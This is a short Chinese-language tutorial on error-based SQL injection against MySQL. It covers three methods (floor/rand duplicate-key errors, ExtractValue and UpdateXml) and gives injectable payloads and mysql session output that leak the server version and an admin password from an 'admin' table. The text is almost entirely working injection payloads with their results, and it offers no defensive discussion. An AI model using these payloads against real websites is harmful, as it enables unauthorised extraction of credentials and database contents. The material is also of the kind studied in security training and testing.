mysql3種報錯模式注入
1、通過floor報錯 可以通過如下一些利用代碼 and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a); and (select count(*) from (select 1 union select null union select !1)x group by...
1、通過floor報錯
可以通過如下一些利用代碼
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
舉例如下：
首先進行正常查詢：
mysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
| 1 | test | do it |
+----+-------+---------+
假如id輸入存在注入的話，可以通過如下語句進行報錯。
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查詢其他數據，可以通過修改version()所在位置語句進行查詢。
例如我們需要查詢管理員用戶名和密碼：
Method1:
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'

2、ExtractValue
測試語句如下
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
實際測試過程
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
測試語句
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
實際測試過程
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
